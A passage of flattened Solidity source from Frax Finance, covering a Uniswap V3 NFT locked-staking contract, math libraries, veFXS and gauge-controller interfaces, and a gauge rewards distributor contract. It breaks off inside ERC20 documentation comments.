internal view returns (bool is_valid, uint256 liquidity, int24 tick_lower, int24 tick_upper) { ( , , address token0, address token1, uint24 fee, int24 tickLower, int24 tickUpper, uint256 _liquidity, , , , ) = stakingTokenNFT.positions(token_id); // Set initially is_valid = false; liquidity = _liquidity; // Do the checks if ( (token0 == uni_token0) && (token1 == uni_token1) && (fee == uni_required_fee) && (tickLower == uni_tick_lower) && (tickUpper == uni_tick_upper) ) { is_valid = true; } else { // More detailed messages removed here to save space if (fail_if_false) { revert("Wrong token characteristics"); } } return (is_valid, liquidity, tickLower, tickUpper); } // Return all of the locked NFT positions function lockedNFTsOf(address account) external view returns (LockedNFT[] memory) { return lockedNFTs[account]; } function calcCurCombinedWeight(address account) public view returns ( uint256 old_combined_weight, uint256 new_vefxs_multiplier, uint256 new_combined_weight ) { // Get the old combined weight old_combined_weight = _combined_weights[account]; // Get the veFXS multipliers // For the calculations, use the midpoint (analogous to midpoint Riemann sum) new_vefxs_multiplier = veFXSMultiplier(account); uint256 midpoint_vefxs_multiplier = ((new_vefxs_multiplier).add(_vefxsMultiplierStored[account])).div(2); // Loop through the locked stakes, first by getting the liquidity * lock_multiplier portion new_combined_weight = 0; for (uint256 i = 0; i < lockedNFTs[account].length; i++) { LockedNFT memory thisNFT = lockedNFTs[account][i]; uint256 lock_multiplier = thisNFT.lock_multiplier; // If the lock period is over, drop the lock multiplier down to 1x for the weight calculations if (thisNFT.ending_timestamp <= block.timestamp){ lock_multiplier = MULTIPLIER_PRECISION; } uint256 liquidity = thisNFT.liquidity; uint256 combined_boosted_amount = liquidity.mul(lock_multiplier.add(midpoint_vefxs_multiplier)).div(MULTIPLIER_PRECISION); new_combined_weight = new_combined_weight.add(combined_boosted_amount); } } function lastTimeRewardApplicable() internal view returns (uint256) { return Math.min(block.timestamp, periodFinish); } function rewardPerToken() internal view returns (uint256) { if (_total_liquidity_locked == 0 || _total_combined_weight == 0) { return rewardPerTokenStored0; } else { return ( rewardPerTokenStored0.add( lastTimeRewardApplicable() .sub(lastUpdateTime) .mul(rewardRate0()) .mul(emissionFactor()) // has 1e18 already .div(_total_combined_weight) ) ); } } function earned(address account) public view returns (uint256) { uint256 earned_reward_0 = rewardPerToken(); return ( _combined_weights[account] .mul(earned_reward_0.sub(userRewardPerTokenPaid0[account])) .div(1e18) .add(rewards0[account]) ); } function rewardRate0() public view returns (uint256 rwd_rate) { if (address(gauge_controller) != address(0)) { rwd_rate = (gauge_controller.global_emission_rate()).mul(last_gauge_relative_weight).div(1e18); } else { rwd_rate = reward_rate_manual; } } function getRewardForDuration() external view returns (uint256) { return rewardRate0().mul(rewardsDuration); } // Needed to indicate that this contract is ERC721 compatible function onERC721Received( address, address, uint256, bytes memory ) public pure returns (bytes4) { return this.onERC721Received.selector; } /* ========== MUTATIVE FUNCTIONS ========== */ function _updateRewardAndBalance(address account, bool sync_too) internal { // Need to retro-adjust some things if the period hasn't been renewed, then start a new one if (sync_too){ sync(); } if (account != address(0)) { // To keep the math correct, the user's combined weight must be recomputed to account for their // ever-changing veFXS balance. ( uint256 old_combined_weight, uint256 new_vefxs_multiplier, uint256 new_combined_weight ) = calcCurCombinedWeight(account); // Calculate the earnings first _syncEarned(account); // Update the user's stored veFXS multipliers _vefxsMultiplierStored[account] = new_vefxs_multiplier; // Update the user's and the global combined weights if (new_combined_weight >= old_combined_weight) { uint256 weight_diff = new_combined_weight.sub(old_combined_weight); _total_combined_weight = _total_combined_weight.add(weight_diff); _combined_weights[account] = old_combined_weight.add(weight_diff); } else { uint256 weight_diff = old_combined_weight.sub(new_combined_weight); _total_combined_weight = _total_combined_weight.sub(weight_diff); _combined_weights[account] = old_combined_weight.sub(weight_diff); } } } function _syncEarned(address account) internal { if (account != address(0)) { // Calculate the earnings uint256 earned0 = earned(account); rewards0[account] = earned0; userRewardPerTokenPaid0[account] = rewardPerTokenStored0; } } // Staker can allow a migrator function stakerAllowMigrator(address migrator_address) external { require(valid_migrators[migrator_address], "Invalid migrator address"); staker_allowed_migrators[msg.sender][migrator_address] = true; } // Staker can disallow a previously-allowed migrator function stakerDisallowMigrator(address migrator_address) external { // Delete from the mapping delete staker_allowed_migrators[msg.sender][migrator_address]; } // Two different stake functions are needed because of delegateCall and msg.sender issues (important for migration) function stakeLocked(uint256 token_id, uint256 secs) nonReentrant external { _stakeLocked(msg.sender, msg.sender, token_id, secs, block.timestamp); } // If this were not internal, and source_address had an infinite approve, this could be exploitable // (pull funds from source_address and stake for an arbitrary staker_address) function _stakeLocked( address staker_address, address source_address, uint256 token_id, uint256 secs, uint256 start_timestamp ) internal updateRewardAndBalance(staker_address, true) { require(stakingPaused == false || valid_migrators[msg.sender] == true, "Staking paused or in migration"); require(greylist[staker_address] == false, "Address has been greylisted"); require(secs >= lock_time_min, "Minimum stake time not met"); require(secs <= lock_time_for_max_multiplier,"Trying to lock for too long"); (, uint256 liquidity, int24 tick_lower, int24 tick_upper) = checkUniV3NFT(token_id, true); // Should throw if false { uint256 lock_multiplier = lockMultiplier(secs); lockedNFTs[staker_address].push( LockedNFT( token_id, liquidity, start_timestamp, start_timestamp.add(secs), lock_multiplier, tick_lower, tick_upper ) ); } // Pull the tokens from the source_address stakingTokenNFT.safeTransferFrom(source_address, address(this), token_id); // Update liquidities _total_liquidity_locked = _total_liquidity_locked.add(liquidity); _locked_liquidity[staker_address] = _locked_liquidity[staker_address].add(liquidity); // Need to call again to make sure everything is correct _updateRewardAndBalance(staker_address, false); emit LockNFT(staker_address, liquidity, token_id, secs, source_address); } // Two different withdrawLocked functions are needed because of delegateCall and msg.sender issues (important for migration) function withdrawLocked(uint256 token_id) nonReentrant external { require(withdrawalsPaused == false, "Withdrawals paused"); _withdrawLocked(msg.sender, msg.sender, token_id); } // No withdrawer == msg.sender check needed since this is only internally callable and the checks are done in the wrapper // functions like migrator_withdraw_locked() and withdrawLocked() function _withdrawLocked( address staker_address, address destination_address, uint256 token_id ) internal { // Collect rewards first and then update the balances _getReward(staker_address, destination_address); LockedNFT memory thisNFT; thisNFT.liquidity = 0; uint256 theArrayIndex; for (uint256 i = 0; i < lockedNFTs[staker_address].length; i++) { if (token_id == lockedNFTs[staker_address][i].token_id) { thisNFT = lockedNFTs[staker_address][i]; theArrayIndex = i; break; } } require(thisNFT.token_id == token_id, "Token ID not found"); require(block.timestamp >= thisNFT.ending_timestamp || stakesUnlocked == true || valid_migrators[msg.sender] == true, "Stake is still locked!"); uint256 theLiquidity = thisNFT.liquidity; if (theLiquidity > 0) { // Update liquidities _total_liquidity_locked = _total_liquidity_locked.sub(theLiquidity); _locked_liquidity[staker_address] = _locked_liquidity[staker_address].sub(theLiquidity); // Remove the stake from the array delete lockedNFTs[staker_address][theArrayIndex]; // Need to call again to make sure everything is correct _updateRewardAndBalance(staker_address, false); // Give the tokens to the destination_address stakingTokenNFT.safeTransferFrom(address(this), destination_address, token_id); emit WithdrawLocked(staker_address, theLiquidity, token_id, destination_address); } } // Two different getReward functions are needed because of delegateCall and msg.sender issues (important for migration) function getReward() external nonReentrant returns (uint256) { require(rewardsCollectionPaused == false,"Rewards collection paused"); return _getReward(msg.sender, msg.sender); } // No withdrawer == msg.sender check needed since this is only internally callable // This distinction is important for the migrator // Also collects the LP fees function _getReward(address rewardee, address destination_address) internal updateRewardAndBalance(rewardee, true) returns (uint256 reward_0) { reward_0 = rewards0[rewardee]; if (reward_0 > 0) { rewards0[rewardee] = 0; TransferHelper.safeTransfer(address(rewardsToken0), destination_address, reward_0); // Collect liquidity fees too uint256 accumulated_token0 = 0; uint256 accumulated_token1 = 0; LockedNFT memory thisNFT; for (uint256 i = 0; i < lockedNFTs[rewardee].length; i++) { thisNFT = lockedNFTs[rewardee][i]; // Check for null entries if (thisNFT.token_id != 0){ IUniswapV3PositionsNFT.CollectParams memory collect_params = IUniswapV3PositionsNFT.CollectParams( thisNFT.token_id, destination_address, type(uint128).max, type(uint128).max ); (uint256 tok0_amt, uint256 tok1_amt) = stakingTokenNFT.collect(collect_params); accumulated_token0 = accumulated_token0.add(tok0_amt); accumulated_token1 = accumulated_token1.add(tok1_amt); } } emit RewardPaid(rewardee, reward_0, accumulated_token0, accumulated_token1, address(rewardsToken0), destination_address); } } // If the period expired, renew it function retroCatchUp() internal { // Failsafe check require(block.timestamp > periodFinish, "Period has not expired yet!"); // Pull in rewards from the rewards distributor rewards_distributor.distributeReward(address(this)); // Ensure the provided reward amount is not more than the balance in the contract. // This keeps the reward rate in the right range, preventing overflows due to // very high values of rewardRate in the earned and rewardsPerToken functions; // Reward + leftover must be less than 2^256 / 10^18 to avoid overflow. uint256 num_periods_elapsed = uint256(block.timestamp.sub(periodFinish)) / rewardsDuration; // Floor division to the nearest period uint256 balance0 = rewardsToken0.balanceOf(address(this)); require(rewardRate0().mul(rewardsDuration).mul(num_periods_elapsed + 1) <= balance0, "Not enough FXS available"); periodFinish = periodFinish.add((num_periods_elapsed.add(1)).mul(rewardsDuration)); uint256 reward_per_token_0 = rewardPerToken(); rewardPerTokenStored0 = reward_per_token_0; lastUpdateTime = lastTimeRewardApplicable(); emit RewardsPeriodRenewed(address(stakingTokenNFT)); } function sync_gauge_weight(bool force_update) public { if (address(gauge_controller) != address(0) && (force_update || (block.timestamp > last_gauge_time_total))){ // Update the gauge_relative_weight last_gauge_relative_weight = gauge_controller.gauge_relative_weight_write(address(this), block.timestamp); last_gauge_time_total = gauge_controller.time_total(); } } function sync() public { // Sync the gauge weight, if applicable sync_gauge_weight(false); if (block.timestamp > periodFinish) { retroCatchUp(); } else { uint256 reward_per_token_0 = rewardPerToken(); rewardPerTokenStored0 = reward_per_token_0; lastUpdateTime = lastTimeRewardApplicable(); } } /* ========== RESTRICTED FUNCTIONS - Curator / migrator callable ========== */ // Migrator can stake for someone else (they won't be able to withdraw it back though, only staker_address can). function migrator_stakeLocked_for(address staker_address, uint256 token_id, uint256 secs, uint256 start_timestamp) external isMigrating { require(staker_allowed_migrators[staker_address][msg.sender] && valid_migrators[msg.sender], "Migrator invalid or unapproved"); _stakeLocked(staker_address, msg.sender, token_id, secs, start_timestamp); } // Used for migrations function migrator_withdraw_locked(address staker_address, uint256 token_id) external isMigrating { require(staker_allowed_migrators[staker_address][msg.sender] && valid_migrators[msg.sender], "Migrator invalid or unapproved"); _withdrawLocked(staker_address, msg.sender, token_id); } function setPauses( bool _stakingPaused, bool _withdrawalsPaused, bool _rewardsCollectionPaused ) external onlyByOwnerOrCuratorOrGovernance { stakingPaused = _stakingPaused; withdrawalsPaused = _withdrawalsPaused; rewardsCollectionPaused = _rewardsCollectionPaused; } function greylistAddress(address _address) external onlyByOwnerOrCuratorOrGovernance { greylist[_address] = !(greylist[_address]); } /* ========== RESTRICTED FUNCTIONS - Owner or timelock only ========== */ // Adds supported migrator address function addMigrator(address migrator_address) external onlyByOwnerOrGovernance { valid_migrators[migrator_address] = true; } // Remove a migrator address function removeMigrator(address migrator_address) external onlyByOwnerOrGovernance { // Delete from the mapping delete valid_migrators[migrator_address]; } // Added to support recovering LP Rewards and other mistaken tokens from other systems to be distributed to holders function recoverERC20(address tokenAddress, uint256 tokenAmount) external onlyByOwnerOrGovernance { // Only the owner address can ever receive the recovery withdrawal TransferHelper.safeTransfer(tokenAddress, owner, tokenAmount); emit RecoveredERC20(tokenAddress, tokenAmount); } // Added to support recovering LP Rewards and other mistaken tokens from other systems to be distributed to holders function recoverERC721(address tokenAddress, uint256 token_id) external onlyByOwnerOrGovernance { // Admin cannot withdraw the staking token from the contract unless currently migrating if (!migrationsOn) { require(tokenAddress != address(stakingTokenNFT), "Not in migration"); // Only Governance / Timelock can trigger a migration } // Only the owner address can ever receive the recovery withdrawal // IUniswapV3PositionsNFT inherits IERC721 so the latter does not need to be imported IUniswapV3PositionsNFT(tokenAddress).safeTransferFrom( address(this), owner, token_id); emit RecoveredERC721(tokenAddress, token_id); } function setMultipliers(uint256 _lock_max_multiplier, uint256 _vefxs_max_multiplier, uint256 _vefxs_per_frax_for_max_boost) external onlyByOwnerOrGovernance { require(_lock_max_multiplier >= MULTIPLIER_PRECISION, "Mult must be >= MULTIPLIER_PRECISION"); require(_vefxs_max_multiplier >= 0, "veFXS mul must be >= 0"); require(_vefxs_per_frax_for_max_boost > 0, "veFXS pct max must be >= 0"); lock_max_multiplier = _lock_max_multiplier; vefxs_max_multiplier = _vefxs_max_multiplier; vefxs_per_frax_for_max_boost = _vefxs_per_frax_for_max_boost; emit MaxVeFXSMultiplier(vefxs_max_multiplier); emit LockedNFTMaxMultiplierUpdated(lock_max_multiplier); emit veFXSPctForMaxBoostUpdated(vefxs_per_frax_for_max_boost); } function setLockedNFTTimeForMinAndMaxMultiplier(uint256 _lock_time_for_max_multiplier, uint256 _lock_time_min) external onlyByOwnerOrGovernance { require(_lock_time_for_max_multiplier >= 1, "Mul max time must be >= 1"); require(_lock_time_min >= 1, "Mul min time must be >= 1"); lock_time_for_max_multiplier = _lock_time_for_max_multiplier; lock_time_min = _lock_time_min; emit LockedNFTTimeForMaxMultiplier(lock_time_for_max_multiplier); emit LockedNFTMinTime(_lock_time_min); } function unlockStakes() external onlyByOwnerOrGovernance { stakesUnlocked = !stakesUnlocked; } function toggleMigrations() external onlyByOwnerOrGovernance { migrationsOn = !migrationsOn; } function setManualRewardRate(uint256 _reward_rate_manual, bool sync_too) external onlyByOwnerOrGovernance { reward_rate_manual = _reward_rate_manual; if (sync_too) { sync(); } } function setTWAP(uint32 _new_twap_duration) external onlyByOwnerOrGovernance { require(_new_twap_duration <= 3600, "TWAP too long"); // One hour for now. Depends on how many increaseObservationCardinalityNext / observation slots you have twap_duration = _new_twap_duration; } function toggleEmissionFactorBypass() external onlyByOwnerOrGovernance { bypassEmissionFactor = !bypassEmissionFactor; } function setTimelock(address _new_timelock) external onlyByOwnerOrGovernance { timelock_address = _new_timelock; } function setCurator(address _new_curator) external onlyByOwnerOrGovernance { curator_address = _new_curator; } // Set gauge_controller to address(0) to fall back to the reward_rate_manual function setGaugeRelatedAddrs(address _gauge_controller_address, address _rewards_distributor_address) external onlyByOwnerOrGovernance { gauge_controller = IFraxGaugeController(_gauge_controller_address); rewards_distributor = FraxGaugeFXSRewardsDistributor(_rewards_distributor_address); } /* ========== EVENTS ========== */ event LockNFT(address indexed user, uint256 liquidity, uint256 token_id, uint256 secs, address source_address); event WithdrawLocked(address indexed user, uint256 liquidity, uint256 token_id, address destination_address); event RewardPaid(address indexed user, uint256 farm_reward, uint256 liq_tok0_reward, uint256 liq_tok1_reward, address token_address, address destination_address); event RecoveredERC20(address token, uint256 amount); event RecoveredERC721(address token, uint256 token_id); event RewardsPeriodRenewed(address token); event LockedNFTMaxMultiplierUpdated(uint256 multiplier); event LockedNFTTimeForMaxMultiplier(uint256 secs); event LockedNFTMinTime(uint256 secs); event MaxVeFXSMultiplier(uint256 multiplier); event veFXSPctForMaxBoostUpdated(uint256 scale_factor); /* ========== A CHICKEN ========== */ // // ,~. // ,-'__ `-, // {,-' `. } ,') // ,( a ) `-.__ ,',')~, // <=.) ( `-.__,==' ' ' '} // ( ) /) // `-'\ , ) // | \ `~. / // \ `._ \ / // \ `._____,' ,' // `-. ,' // `-._ _,-' // 77jj' // //_|| // __//--'/` // ,--'/` ' // // [hjw] https://textart.io/art/vw6Sa3iwqIRGkZsN1BC2vweF/chicken } // SPDX-License-Identifier: MIT pragma solidity >=0.6.11; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } // babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method) function sqrt(uint y) internal pure returns (uint z) { if (y > 3) { z = y; uint x = y / 2 + 1; while (x < z) { z = x; x = (y / x + x) / 2; } } else if (y != 0) { z = 1; } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.11; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.6.11; pragma abicoder v2; interface IveFXS { struct LockedBalance { int128 amount; uint256 end; } function commit_transfer_ownership(address addr) external; function apply_transfer_ownership() external; function commit_smart_wallet_checker(address addr) external; function apply_smart_wallet_checker() external; function toggleEmergencyUnlock() external; function recoverERC20(address token_addr, uint256 amount) external; function get_last_user_slope(address addr) external view returns (int128); function user_point_history__ts(address _addr, uint256 _idx) external view returns (uint256); function locked__end(address _addr) external view returns (uint256); function checkpoint() external; function deposit_for(address _addr, uint256 _value) external; function create_lock(uint256 _value, uint256 _unlock_time) external; function increase_amount(uint256 _value) external; function increase_unlock_time(uint256 _unlock_time) external; function withdraw() external; function balanceOf(address addr) external view returns (uint256); function balanceOf(address addr, uint256 _t) external view returns (uint256); function balanceOfAt(address addr, uint256 _block) external view returns (uint256); function totalSupply() external view returns (uint256); function totalSupply(uint256 t) external view returns (uint256); function totalSupplyAt(uint256 _block) external view returns (uint256); function totalFXSSupply() external view returns (uint256); function totalFXSSupplyAt(uint256 _block) external view returns (uint256); function changeController(address _newController) external; function token() external view returns (address); function supply() external view returns (uint256); function locked(address addr) external view returns (LockedBalance memory); function epoch() external view returns (uint256); function point_history(uint256 arg0) external view returns (int128 bias, int128 slope, uint256 ts, uint256 blk, uint256 fxs_amt); function user_point_history(address arg0, uint256 arg1) external view returns (int128 bias, int128 slope, uint256 ts, uint256 blk, uint256 fxs_amt); function user_point_epoch(address arg0) external view returns (uint256); function slope_changes(uint256 arg0) external view returns (int128); function controller() external view returns (address); function transfersEnabled() external view returns (bool); function emergencyUnlockActive() external view returns (bool); function name() external view returns (string memory); function symbol() external view returns (string memory); function version() external view returns (string memory); function decimals() external view returns (uint256); function future_smart_wallet_checker() external view returns (address); function smart_wallet_checker() external view returns (address); function admin() external view returns (address); function future_admin() external view returns (address); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.6.11; // https://github.com/swervefi/swerve/edit/master/packages/swerve-contracts/interfaces/IGaugeController.sol interface IFraxGaugeController { struct Point { uint256 bias; uint256 slope; } struct VotedSlope { uint256 slope; uint256 power; uint256 end; } // Public variables function admin() external view returns (address); function future_admin() external view returns (address); function token() external view returns (address); function voting_escrow() external view returns (address); function n_gauge_types() external view returns (int128); function n_gauges() external view returns (int128); function gauge_type_names(int128) external view returns (string memory); function gauges(uint256) external view returns (address); function vote_user_slopes(address, address) external view returns (VotedSlope memory); function vote_user_power(address) external view returns (uint256); function last_user_vote(address, address) external view returns (uint256); function points_weight(address, uint256) external view returns (Point memory); function time_weight(address) external view returns (uint256); function points_sum(int128, uint256) external view returns (Point memory); function time_sum(uint256) external view returns (uint256); function points_total(uint256) external view returns (uint256); function time_total() external view returns (uint256); function points_type_weight(int128, uint256) external view returns (uint256); function time_type_weight(uint256) external view returns (uint256); // Getter functions function gauge_types(address) external view returns (int128); function gauge_relative_weight(address) external view returns (uint256); function gauge_relative_weight(address, uint256) external view returns (uint256); function get_gauge_weight(address) external view returns (uint256); function get_type_weight(int128) external view returns (uint256); function get_total_weight() external view returns (uint256); function get_weights_sum_per_type(int128) external view returns (uint256); // External functions function commit_transfer_ownership(address) external; function apply_transfer_ownership() external; function add_gauge( address, int128, uint256 ) external; function checkpoint() external; function checkpoint_gauge(address) external; function global_emission_rate() external view returns (uint256); function gauge_relative_weight_write(address, uint256) external returns (uint256); function add_type(string memory, uint256) external; function change_type_weight(int128, uint256) external; function change_gauge_weight(address, uint256) external; function change_global_emission_rate(uint256) external; function vote_for_gauge_weights(address, uint256) external; } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.6.11; // ==================================================================== // | ______ _______ | // | / _____________ __ __ / ____(_____ ____ _____ ________ | // | / /_ / ___/ __ `| |/_/ / /_ / / __ \/ __ `/ __ \/ ___/ _ \ | // | / __/ / / / /_/ _> < / __/ / / / / / /_/ / / / / /__/ __/ | // | /_/ /_/ \__,_/_/|_| /_/ /_/_/ /_/\__,_/_/ /_/\___/\___/ | // | | // ==================================================================== // ================== FraxGaugeFXSRewardsDistributor ================== // ==================================================================== // Looks at the gauge controller contract and pushes out FXS rewards once // a week to the gauges (farms) // Frax Finance: https://github.com/FraxFinance // Primary Author(s) // Travis Moore: https://github.com/FortisFortuna // Reviewer(s) / Contributor(s) // Jason Huan: https://github.com/jasonhuan // Sam Kazemian: https://github.com/samkazemian import "../Math/Math.sol"; import "../Math/SafeMath.sol"; import "../ERC20/ERC20.sol"; import "../ERC20/SafeERC20.sol"; import "./IFraxGaugeController.sol"; import "./FraxMiddlemanGauge.sol"; import '../Uniswap/TransferHelper.sol'; import "../Staking/Owned.sol"; contract FraxGaugeFXSRewardsDistributor is Owned { using SafeMath for uint256; using SafeERC20 for ERC20; /* ========== STATE VARIABLES ========== */ // Instances and addresses address private reward_token_address; IFraxGaugeController private gauge_controller; // Admin addresses address public timelock_address; address public curator_address; // Constants uint256 private constant MULTIPLIER_PRECISION = 1e18; uint256 private constant ONE_WEEK = 604800; // Gauge controller related mapping(address => bool) public gauge_whitelist; mapping(address => bool) public is_middleman; // For cross-chain farms, use a middleman contract to push to a bridge mapping(address => uint256) public last_time_gauge_paid; // Booleans bool public distributionsOn; /* ========== MODIFIERS ========== */ modifier onlyByOwnerOrGovernance() { require(msg.sender == owner || msg.sender == timelock_address, "Not owner or timelock"); _; } modifier onlyByOwnerOrCuratorOrGovernance() { require(msg.sender == owner || msg.sender == curator_address || msg.sender == timelock_address, "Not owner, curator, or timelock"); _; } modifier isDistributing() { require(distributionsOn == true, "Distributions are off"); _; } /* ========== CONSTRUCTOR ========== */ constructor( address _owner, address _timelock_address, address _curator_address, address _reward_token_address, address _gauge_controller_address ) Owned(_owner) { curator_address = _curator_address; timelock_address = _timelock_address; reward_token_address = _reward_token_address; gauge_controller = IFraxGaugeController(_gauge_controller_address); distributionsOn = true; } /* ========== VIEWS ========== */ // Current weekly reward amount function currentReward(address gauge_address) public view returns (uint256 reward_amount) { uint256 rel_weight = gauge_controller.gauge_relative_weight(gauge_address, block.timestamp); uint256 rwd_rate = (gauge_controller.global_emission_rate()).mul(rel_weight).div(1e18); reward_amount = rwd_rate.mul(ONE_WEEK); } /* ========== MUTATIVE FUNCTIONS ========== */ // Callable by anyone function distributeReward(address gauge_address) public isDistributing returns (uint256 weeks_elapsed, uint256 reward_tally) { require(gauge_whitelist[gauge_address], "Gauge not whitelisted"); // Calculate the elapsed time in weeks. Truncation desired uint256 last_time_paid = last_time_gauge_paid[gauge_address]; // Edge case for first reward for this gauge if (last_time_paid == 0){ weeks_elapsed = 1; } else { weeks_elapsed = (block.timestamp).sub(last_time_gauge_paid[gauge_address]) / ONE_WEEK; // Return early here for 0 weeks instead of throwing, as it could have bad effects in other contracts if (weeks_elapsed == 0) { return (0, 0); } } // NOTE: This will always use the current global_emission_rate() reward_tally = 0; for (uint i = 0; i < (weeks_elapsed); i++){ uint256 rel_weight_at_week; if (i == 0) { // Mutative, for the current week. Makes sure the weight is checkpointed. Also returns the weight. rel_weight_at_week = gauge_controller.gauge_relative_weight_write(gauge_address, block.timestamp); } else { // View rel_weight_at_week = gauge_controller.gauge_relative_weight(gauge_address, (block.timestamp).sub(ONE_WEEK * i)); } uint256 rwd_rate_at_week = (gauge_controller.global_emission_rate()).mul(rel_weight_at_week).div(1e18); reward_tally = reward_tally.add(rwd_rate_at_week.mul(ONE_WEEK)); } // Update the last time paid last_time_gauge_paid[gauge_address] = block.timestamp; if (is_middleman[gauge_address]){ // Cross chain: Pay out the rewards to the middleman contract // Approve for the middleman first ERC20(reward_token_address).approve(gauge_address, reward_tally); // Trigger the middleman FraxMiddlemanGauge(gauge_address).pullAndBridge(reward_tally); } else { // Mainnet: Pay out the rewards directly to the gauge TransferHelper.safeTransfer(reward_token_address, gauge_address, reward_tally); } emit RewardDistributed(gauge_address, reward_tally); } /* ========== RESTRICTED FUNCTIONS - Curator / migrator callable ========== */ // For emergency situations function toggleDistributions() external onlyByOwnerOrCuratorOrGovernance { distributionsOn = !distributionsOn; emit DistributionsToggled(distributionsOn); } /* ========== RESTRICTED FUNCTIONS - Owner or timelock only ========== */ // Added to support recovering LP Rewards and other mistaken tokens from other systems to be distributed to holders function recoverERC20(address tokenAddress, uint256 tokenAmount) external onlyByOwnerOrGovernance { // Only the owner address can ever receive the recovery withdrawal TransferHelper.safeTransfer(tokenAddress, owner, tokenAmount); emit RecoveredERC20(tokenAddress, tokenAmount); } function setGaugeState(address _gauge_address, bool _is_middleman, bool _is_active) external onlyByOwnerOrGovernance { is_middleman[_gauge_address] = _is_middleman; gauge_whitelist[_gauge_address] = _is_active; emit GaugeStateChanged(_gauge_address, _is_middleman, _is_active); } function setTimelock(address _new_timelock) external onlyByOwnerOrGovernance { timelock_address = _new_timelock; } function setCurator(address _new_curator_address) external onlyByOwnerOrGovernance { curator_address = _new_curator_address; } function setGaugeController(address _gauge_controller_address) external onlyByOwnerOrGovernance { gauge_controller = IFraxGaugeController(_gauge_controller_address); } /* ========== EVENTS ========== */ event RewardDistributed(address indexed gauge_address, uint256 reward_amount); event RecoveredERC20(address token, uint256 amount); event GaugeStateChanged(address gauge_address, bool is_middleman, bool is_active); event DistributionsToggled(bool distibutions_state); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.11; import "../Common/Context.sol"; import "./IERC20.sol"; import "../Math/SafeMath.sol"; import "../Utils/Address.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20Mintable}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard 